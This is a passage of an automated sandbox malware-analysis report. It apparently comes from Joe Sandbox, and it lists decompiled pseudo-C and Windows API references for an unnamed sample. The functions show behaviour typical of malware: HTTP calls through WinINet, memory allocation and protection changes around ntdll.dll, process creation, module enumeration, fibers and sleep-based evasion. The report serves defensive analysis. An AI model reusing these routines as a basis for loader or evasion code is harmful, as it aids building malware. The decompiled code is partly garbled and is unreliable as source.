				 *((long long*)(_t208 + 8)) = __rcx;
				_t206 = _t208 - 0x378;
				_t209 = _t208 - 0x478;
				r12d = 0;
				 *(_t209 + 0x48) = r12d;
				r8d = 0x400;
				 *(_t209 + 0x40) = r12d;
				 *(_t209 + 0x4c) = r12d;
				r15d = r12d;
				 *(_t209 + 0x44) = r12d;
				E01365A30();
				_t235 =  *(_t206 + 0x3e8);
				 *((long long*)(_t235 + 8)) = _t228;
				 *((long long*)(_t209 + 0x60)) = 0x7644b2ff;
				_t203 = _t235 + 8;
				 *_t235 = _t228;
				 *0x7644b2ff(_t237, _t234, _t231, _t228, _t197, _t202, _t148, _t205);
				 *(_t209 + 0x20) = r12d;
				_t137 =  *0x01364CD3 - 0x1e279d6d;
				r9d = 0;
				r8d = 0;
				 *_t137(); // executed
				 *(_t206 + 0x3e8) = _t137;
				_t232 = _t137;
				_t229 = 0x2821197e;
				if(_t135 != 0) {
					 *0x013743D0();
				}
				if(_t232 == 0) {
					L26:
					return r15d;
				}
				r8d =  *(_t206 + 0x3d0) & 0x0000ffff;
				_t187 =  *((intOrPtr*)(_t206 + 0x3c8));
				r9d = 0;
				 *(_t209 + 0x38) = _t137;
				 *(_t209 + 0x30) = 0;
				 *(_t209 + 0x28) = 3;
				 *(_t209 + 0x20) = _t137;
				 *((long long*)( *0x01364B63 - 0x7982611a))(); // executed
				 *(_t209 + 0x58) = _t137;
				if(_t137 == 0) {
					L25:
					 *((long long*)( *0x01364E2A + 0x19427b))();
					goto L26;
				}
				 *(_t209 + 0x40) = 0x84803200;
				 *0x01374260();
				 *(_t209 + 0x38) = _t187;
				 *(_t209 + 0x30) =  *(_t209 + 0x40);
				 *(_t209 + 0x28) = _t187;
				 *(_t209 + 0x20) = 0x137d214;
				 *((long long*)( *0x01364D7A - 0x67636b5b))(); // executed
				_t201 = _t137;
				if(_t137 != 0) {
					 *(_t229 - 0x26e9d5ae)();
				}
				if(_t201 == 0) {
					L23:
					_t153 =  *((intOrPtr*)(0x1364e2a)) + 0x19427b;
					 *_t153();
					if(_t201 != 0) {
						 *_t153();
					}
					goto L25;
				} else {
					r9d = 4;
					 *(_t209 + 0x40) = 0x927c0;
					_t155 =  *0x01364DD3 + 0x3130ad;
					 *_t155();
					 *(_t209 + 0x44) = 4;
					 *(_t209 + 0x40) = r15d;
					 *((long long*)( *0x01364BBA + 0x134846))();
					 *(_t209 + 0x40) =  *(_t209 + 0x40) | 0x00000100;
					r9d = 4;
					 *_t155();
					_t239 =  *((intOrPtr*)(_t206 + 0x3e0));
					if(_t239 == 0) {
						_t156 =  *(_t206 + 0x3e8);
						r13d = 0;
						 *(_t209 + 0x50) = _t232;
					} else {
						_t147 =  *_t239;
						r13d =  *(_t239 + 8);
						 *(_t209 + 0x50) = _t147;
						 *((intOrPtr*)(_t209 + 0x60))();
						_t156 = _t147;
						 *(_t209 + 0x48) = 1;
					}
					asm("inc ebp");
					 *(_t209 + 0x20) = r13d;
					r8d = r8d & 0x0000002f;
					_t143 =  *0x01364D23 + 0xcb0c2; // executed
					_t98 =  *_t143(); // executed
					r15d = _t98;
					if(( *(_t209 + 0x48) & 0x00000001) != 0 && _t156 != 0) {
						_t229 = _t229 - 0x26e9d5ae;
						 *_t229();
					}
					if(r15d == 0) {
						_t232 =  *(_t206 + 0x3e8);
					} else {
						_t242 =  *0x01364C7A + 0x58552;
						r12d = 0;
						while(1) {
							 *(_t209 + 0x44) = r12d;
							r8d = 0x400;
							if( *_t242() == 0) {
								break;
							}
							r9d =  *(_t209 + 0x44);
							_t143 = 0x1370040;
							 *(_t209 + 0x20) = _t203;
							 *((long long*)(0x1370040))();
							 *_t235 = 0x1370040;
							if( *(_t209 + 0x44) != r12d) {
								continue;
							}
							break;
						}
						if( *_t235 != 0) {
							 *(_t209 + 0x20) = _t203;
							r9d = 1;
							 *((long long*)(0x1370040))();
							 *_t203 =  *_t203 - 1;
							 *_t235 = _t143;
						}
						 *(_t209 + 0x20) = _t229;
						 *((long long*)( *0x01364C1A + 0x118d82))();
						_t232 =  *(_t206 + 0x3e8);
						if( *_t235 == _t229) {
							r15d = r12d;
							r15b =  *(_t209 + 0x4c) == 0xc8;
						} else {
							r15d = 1;
						}
					}
					goto L23;
				}
			}

0x01370170
0x01370170
0x01370175
0x0137017b
0x01370180
0x01370191
0x01370199
0x013701a0
0x013701aa
0x013701af
0x013701b5
0x013701ba
0x013701bf
0x013701c2
0x013701c7
0x013701cc
0x013701e1
0x013701ec
0x013701f1
0x013701fc
0x013701ff
0x01370204
0x01370215
0x0137021b
0x0137021e
0x01370224
0x01370226
0x0137022d
0x01370230
0x0137023a
0x01370249
0x01370249
0x0137024e
0x01370548
0x0137055e
0x0137055e
0x0137025d
0x0137026c
0x01370273
0x01370276
0x0137027e
0x01370282
0x0137028a
0x0137028f
0x01370292
0x0137029a
0x01370536
0x01370546
0x00000000
0x01370546
0x013702a7
0x013702b6
0x013702cf
0x013702e2
0x013702ed
0x013702fc
0x01370306
0x01370309
0x0137030f
0x0137031e
0x0137031e
0x01370323
0x01370517
0x01370523
0x0137052a
0x0137052f
0x01370534
0x01370534
0x00000000
0x01370329
0x01370335
0x0137033b
0x01370343
0x01370351
0x01370365
0x01370372
0x0137037f
0x01370381
0x0137038e
0x0137039b
0x0137039d
0x013703a7
0x013703d7
0x013703de
0x013703e1
0x013703a9
0x013703a9
0x013703b3
0x013703be
0x013703c3
0x013703c7
0x013703ca
0x013703d2
0x013703fa
0x013703fd
0x01370402
0x01370406
0x0137040c
0x01370413
0x01370416
0x0137041d
0x01370427
0x01370427
0x0137042d
0x01370510
0x01370433
0x01370441
0x01370448
0x01370450
0x01370455
0x0137045a
0x0137046d
0x00000000
0x00000000
0x0137046f
0x01370482
0x01370488
0x0137048d
0x0137048f
0x01370497
0x00000000
0x00000000
0x00000000
0x01370497
0x0137049f
0x013704b2
0x013704b7
0x013704bd
0x013704bf
0x013704c2
0x013704c2
0x013704d7
0x013704e9
0x013704eb
0x013704f5
0x01370507
0x0137050a
0x013704f7
0x013704f7
0x013704f7
0x013704f5
0x00000000
0x0137042d

APIs

InternetOpenA.WININET ref: 01370224
InternetConnectA.WININET ref: 0137028F
HttpOpenRequestA.WININET ref: 01370306
HttpSendRequestA.WININET ref: 0137040C

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 01371E40, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130

APIs

GetDriveTypeW.KERNELBASE ref: 01371EE1

Strings

\, xrefs: 01371F20
\\?\, xrefs: 01371F03

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 0137A410, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107

C-Code - Quality: 16%

			E0137A410(intOrPtr __ecx, void* __eflags, long long __rax, intOrPtr _a8) {
				char _v24;
				void* _v32;
				void* _v40;
				char _v48;
				long long _v56;
				long long _v64;
				void* _v72;
				long long _v80;
				signed char _v84;
				signed int _v88;
				long long _v96;
				signed char _v104;
				intOrPtr _v120;
				void* _t48;
				void* _t55;
				int _t59;
				long long _t72;
				long long _t74;

				_t72 = __rax;
				_a8 = __ecx;
				_v64 = __rax;
				E0136B3B0(E0136B3E0( &_v48, 0x137de88), _t72);
				_v72 =  *0x01362283 - 0x4815a4ec;
				 *_v72();
				_v56 = 0x13721b0;
				r9d = 1;
				r8d = 0;
				_t74 = _v56;
				_t48 =  *_t74();
				_v80 = _t74;
				E0136B3C0(_t48,  &_v48);
				if(_v80 != 0) {
					r9d = 4;
					r8d = 0x3000;
					VirtualAlloc(??, ??, ??, ??); // executed
					_v96 =  *0x013627D3 - 0xb1f547c;
					r8d = 0x50;
					 *0x0136FE50();
					E0136B3B0(E0136B3E0( &_v24, 0x137de88), 0x137de88);
					_v40 =  *((intOrPtr*)(0x1362283)) - 0x4815a4ec;
					 *_v40();
					_v32 = 0x137a1a0;
					_v120 = 5;
					_t55 =  *_v32(); // executed
					if(_t55 != 0) {
						_v88 = 0;
					} else {
						_v88 = 1;
					}
					_v104 = _v88 & 0x000000ff;
					E0136B3C0(_v88 & 0x000000ff,  &_v24);
					if((_v104 & 0x000000ff) == 0) {
						_v84 = 0;
						r8d = 0x20;
						_t59 = VirtualProtect(??, ??, ??, ??); // executed
						return _t59;
					} else {
						r8d = 0x4000;
						 *((long long*)( *0x013626E3 + 0x3e2fbb))();
						r8d = 0x8000;
						 *((long long*)( *((intOrPtr*)(0x13626e3)) + 0x3e2fbb))();
						return 0;
					}
				}
				return 0;
			}

0x0137a410
0x0137a410
0x0137a422
0x0137a445
0x0137a458
0x0137a465
0x0137a475
0x0137a47a
0x0137a480
0x0137a48b
0x0137a490
0x0137a492
0x0137a49c
0x0137a4a7
0x0137a4bd
0x0137a4c3
0x0137a4d0
0x0137a4d2
0x0137a4e4
0x0137a4f4
0x0137a516
0x0137a529
0x0137a536
0x0137a546
0x0137a54b
0x0137a56c
0x0137a570
0x0137a57c
0x0137a572
0x0137a572
0x0137a572
0x0137a589
0x0137a595
0x0137a5a1
0x0137a5df
0x0137a5f9
0x0137a609
0x00000000
0x0137a5a3
0x0137a5b0
0x0137a5bd
0x0137a5cc
0x0137a5d9
0x00000000
0x0137a5db
0x0137a5a1
0x00000000

APIs

VirtualAlloc.KERNELBASE ref: 0137A4D0
VirtualProtect.KERNELBASE ref: 0137A609

Strings

ntdll.dll, xrefs: 0137A560

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 013709E0, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 116process

APIs

CreateProcessW.KERNEL32 ref: 01370B4F

Strings

p, xrefs: 01370A7E

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 0136FB30, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55

APIs

GetFileAttributesW.KERNELBASE ref: 0136FB4D

Strings

fB.7, xrefs: 0136FB3D

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 013752D0, Relevance: 3.2, APIs: 2, Instructions: 198

C-Code - Quality: 22%

			E013752D0(void* __ebx, intOrPtr __edx, void* __eflags, long long* __rax, void* __rcx, long long __r13) {
				void* _t44;
				intOrPtr _t45;
				void* _t46;
				void* _t49;
				intOrPtr _t70;
				void* _t81;
				intOrPtr _t82;
				long long* _t111;
				void* _t119;
				long long* _t125;
				long long* _t126;
				void* _t161;
				long long* _t163;
				long long* _t164;
				void* _t166;
				void* _t170;
				long long* _t171;
				void* _t175;
				void* _t176;
				void* _t180;
				void* _t181;
				void* _t182;
				long long* _t183;
				long long _t185;
				long long* _t187;
				void* _t189;
				void* _t193;

				_t185 = __r13;
				_t111 = __rax;
				 *((intOrPtr*)(_t175 + 0x10)) = __edx;
				E0137A630(__ebx, __edx, __rax, _t180, _t181);
				_t176 = _t175 - __rax;
				 *0x4fd87cd1(_t193, _t189, _t182, _t161, _t166, _t170, _t119);
				_t163 =  *0x01362283 - 0x4815a4ec;
				 *_t163();
				if(__rax != 0) {
					 *0x013743D0();
				}
				 *0x01374260();
				 *_t163();
				_t164 = _t111;
				if(_t111 != 0) {
					 *((long long*)(0x13743d0))();
				}
				if(_t164 == 0) {
					 *((long long*)(0x1374260))();
					_t126 = _t111;
					_t111 =  *0x013619F0 + 0x148a6;
					 *_t111();
					_t164 = _t111;
					if(_t126 != 0) {
						_t111 = 0x13743d0;
						 *0x1d0018dc();
					}
				}
				r9d = 1;
				r8d = 0;
				 *0xFFFFFFFFD3BD370C();
				 *((long long*)(_t176 + 0x20)) = _t111;
				_t171 = _t111;
				if(_t111 == 0) {
					_t6 = _t111 + 1; // 0x1
					r9d = _t6;
					r8d = 0;
					 *((long long*)(0xffffffffd3bd370c))();
					_t171 = _t111;
					 *((long long*)(_t176 + 0x20)) = _t111;
				}
				r9d = 1;
				r8d = 0;
				 *0x013721B0();
				_t183 = _t111;
				if(_t111 == 0) {
					_t8 = _t111 + 1; // 0x1
					r9d = _t8;
					r8d = 0;
					 *((long long*)(0x13721b0))();
					_t183 = _t111;
				}
				if(_t171 == 0 || _t183 == 0) {
					_t44 = 0;
					goto L29;
				} else {
					 *((long long*)(_t176 + 0x2280)) = _t185;
					_t187 =  *0x0136141A - 0x76edd5e1;
					_t45 =  *_t187();
					_t70 = _t45;
					 *((intOrPtr*)(_t176 + 0x2298)) = _t45;
					_t46 =  *_t187();
					_t82 =  *((intOrPtr*)(_t176 + 0x2288));
					if(_t46 - _t70 >= _t82) {
						L27:
						_t44 = 0;
						L28:
						L29:
						return _t44;
					}
					asm("o16 nop [eax+eax]");
					do {
						 *(_t176 + 0x2290) = 0;
						r8d = 0x2000;
						E01365A30();
						r8d = 0x2000;
						_t49 =  *_t171(); // executed
						if(_t49 == 0) {
							goto L26;
						}
						_t81 = 0;
						if(( *(_t176 + 0x2290) & 0xfffffff8) <= 0) {
							L24:
							if( *((long long*)( *0x013624E3 + 0xa8fbe))() == 0) {
								goto L27;
							}
							_t111 =  *0x01362A3A - 0x4acdf8f6;
							 *_t111();
							goto L26;
						}
						do {
							r8d = 0x20a;
							E01365A30();
							r9d = 0x105;
							 *_t183(); // executed
							 *0x01370BC0();
							if(_t111 == 0) {
								goto L22;
							}
							 *((long long*)(0x1374260))();
							_t125 = _t111;
							_t111 =  *0x01361B33 - 0x159d05a0;
							sil =  *_t111() == 0;
							if(_t125 != 0) {
								_t111 = 0x13743d0;
								 *((long long*)(0x13743d0))();
							}
							if(sil != 0) {
								_t44 = 1;
								goto L28;
							}
							L22:
							_t81 = _t81 + 1;
						} while (_t81 <  *(_t176 + 0x2290) >> 3);
						_t171 =  *((intOrPtr*)(_t176 + 0x20));
						_t70 =  *((intOrPtr*)(_t176 + 0x2298));
						_t82 =  *((intOrPtr*)(_t176 + 0x2288));
						goto L24;
						L26:
					} while ( *_t187() - _t70 < _t82);
					goto L27;
				}
			}

0x013752d0
0x013752d0
0x013752d0
0x013752e3
0x013752e8
0x0137530a
0x01375317
0x01375321
0x01375329
0x0137533c
0x0137533c
0x0137534c
0x01375355
0x01375357
0x0137535d
0x01375370
0x01375370
0x01375375
0x01375385
0x01375388
0x01375392
0x0137539b
0x0137539d
0x013753a3
0x013753af
0x013753b5
0x013753b5
0x013753a3
0x013753be
0x013753cb
0x013753d6
0x013753d8
0x013753dd
0x013753e3
0x013753e5
0x013753e5
0x013753e9
0x013753f4
0x013753f6
0x013753f9
0x013753f9
0x013753fe
0x01375404
0x0137540f
0x01375411
0x01375417
0x01375419
0x01375419
0x0137541d
0x01375428
0x0137542a
0x0137542a
0x01375430
0x013755fe
0x00000000
0x0137543f
0x0137543f
0x0137544e
0x01375455
0x01375458
0x0137545a
0x01375461
0x01375464
0x0137546f
0x013755db
0x013755db
0x013755dd
0x013755e5
0x013755f6
0x013755f6
0x01375475
0x01375480
0x01375482
0x0137548d
0x0137549b
0x013754a8
0x013754b9
0x013754bd
0x00000000
0x00000000
0x013754c3
0x013754d0
0x013755a2
0x013755b8
0x00000000
0x00000000
0x013755c6
0x013755cc
0x00000000
0x013755cc
0x013754f0
0x013754f7
0x013754fd
0x0137550f
0x01375518
0x01375525
0x0137552d
0x00000000
0x00000000
0x0137553d
0x01375540
0x01375551
0x0137555b
0x01375562
0x0137556e
0x01375574
0x01375574
0x01375579
0x013755f7
0x00000000
0x013755f7
0x0137557b
0x01375582
0x01375587
0x0137558f
0x01375594
0x0137559b
0x00000000
0x013755ce
0x013755d3
0x00000000
0x01375480

APIs

K32EnumProcessModules.KERNEL32 ref: 013754B9
K32GetModuleFileNameExW.KERNEL32 ref: 01375518

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 01379660, Relevance: 3.1, APIs: 2, Instructions: 74thread

APIs

ConvertThreadToFiber.KERNEL32 ref: 0137969A
CreateFiber.KERNEL32 ref: 01379739

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 01375610, Relevance: 3.1, APIs: 2, Instructions: 57sleep

APIs

Sleep.KERNELBASE ref: 01375668
WaitForInputIdle.USER32 ref: 013756C9

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 0136F0E0, Relevance: 3.0, APIs: 2, Instructions: 47file

APIs

CreateFileMappingA.KERNEL32 ref: 0136F140
MapViewOfFile.KERNEL32 ref: 0136F16D

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 01378650, Relevance: 3.0, APIs: 2, Instructions: 22sleep

APIs

GetNativeSystemInfo.KERNEL32 ref: 01378682
Sleep.KERNELBASE ref: 01378696

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 01373860, Relevance: 1.6, APIs: 1, Instructions: 110thread

APIs

CreateThread.KERNEL32 ref: 0137398D

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 01377B90, Relevance: 1.6, APIs: 1, Instructions: 107

C-Code - Quality: 16%

			E01377B90(signed int __rax, long long __rbx, void* __rcx, void* __rdx, long long __rbp, long long __r13, long long _a8, long long _a16, long long _a24) {
				void* _v40;
				intOrPtr _v48;
				signed int _v56;
				long long _v64;
				long long _v72;
				intOrPtr _v76;
				long long _v80;
				char _v88;
				long long _v104;
				intOrPtr _t37;
				unsigned int _t50;
				void* _t53;
				void* _t54;
				long long* _t77;
				long long* _t92;

				_a16 = __rbx;
				_a24 = __rbp;
				_t53 = r9d;
				_t77 =  *0x0136141A - 0x76edd5e1;
				r15d = r8d;
				_t54 =  *_t77();
				_v88 = 0;
				_t92 =  *0x01363963 - 0x170201a2;
				_v80 = __rax;
				r9d = 0x24;
				_v72 = __rax;
				_v64 = __rax;
				_v56 = __rax;
				_v48 = 0;
				_v104 =  &_v88;
				_t37 =  *_t92(); // executed
				if(0 != 0) {
					_t37 = _v76;
					if(_t37 != 1) {
						_a8 = __r13;
						if(_t53 == 0) {
							L13:
							if(r15d != 0) {
								r8d = _t53;
								 *0x01377D20();
							}
							if(_t53 != 0 ||  *((long long*)( *0x01363E53 - 0x24a47c76))() != 0) {
								goto L18;
							} else {
								goto L17;
							}
						} else {
							r13d = 0x2710;
							while(_t37 == 3) {
								_t50 = 0xcccccccd * _v56 >> 0x20 >> 3;
								if(_t50 >= 0x3e8) {
									_t51 =  >  ? r13d : _t50;
								}
								 *((long long*)( *0x01362A3A - 0x4acdf8f6))();
								r9d = 0x24;
								_v104 =  &_v88;
								if( *_t92() == 0) {
									L17:
									_t37 = 0;
								} else {
									if(_v76 == 1) {
										L18:
										_t37 = 1;
									} else {
										if( *_t77() - _t54 > 0x7530) {
											goto L17;
										} else {
											_t37 = _v76;
											continue;
										}
									}
								}
								goto L19;
							}
							goto L13;
						}
						L19:
					} else {
					}
				}
				return _t37;
			}

0x01377b90
0x01377b95
0x01377bad
0x01377bb0
0x01377bb7
0x01377bce
0x01377bd0
0x01377bda
0x01377be1
0x01377be6
0x01377bec
0x01377bf3
0x01377bfb
0x01377c00
0x01377c09
0x01377c0e
0x01377c13
0x01377c19
0x01377c20
0x01377c27
0x01377c31
0x01377cb1
0x01377cb4
0x01377cbd
0x01377ccc
0x01377ccc
0x01377cd0
0x00000000
0x00000000
0x00000000
0x00000000
0x01377c33
0x01377c33
0x01377c40
0x01377c4e
0x01377c57
0x01377c63
0x01377c63
0x01377c76
0x01377c7d
0x01377c88
0x01377c97
0x01377cf0
0x01377cf0
0x01377c99
0x01377c9e
0x01377cf4
0x01377cf4
0x01377ca0
0x01377ca9
0x00000000
0x01377cab
0x01377cab
0x00000000
0x01377cab
0x01377ca9
0x01377c9e
0x00000000
0x01377c97
0x00000000
0x01377c40
0x01377cf9
0x00000000
0x01377c22
0x01377c20
0x01377d19

APIs

QueryServiceStatusEx.ADVAPI32 ref: 01377C0E

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 0136F990, Relevance: 1.6, APIs: 1, Instructions: 86

APIs

CreateFileW.KERNEL32 ref: 0136F9F0

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 0136F860, Relevance: 1.6, APIs: 1, Instructions: 58

APIs

FindNextFileW.KERNELBASE ref: 0136F883

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 0136A8E0, Relevance: 1.6, APIs: 1, Instructions: 55

APIs

MoveFileExW.KERNEL32 ref: 0136A9A2

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 0136F2A0, Relevance: 1.5, APIs: 1, Instructions: 43

APIs

GetDriveTypeW.KERNELBASE ref: 0136F332

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 013748A0, Relevance: 1.5, APIs: 1, Instructions: 39

APIs

CreateFileMappingW.KERNEL32 ref: 01374918

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

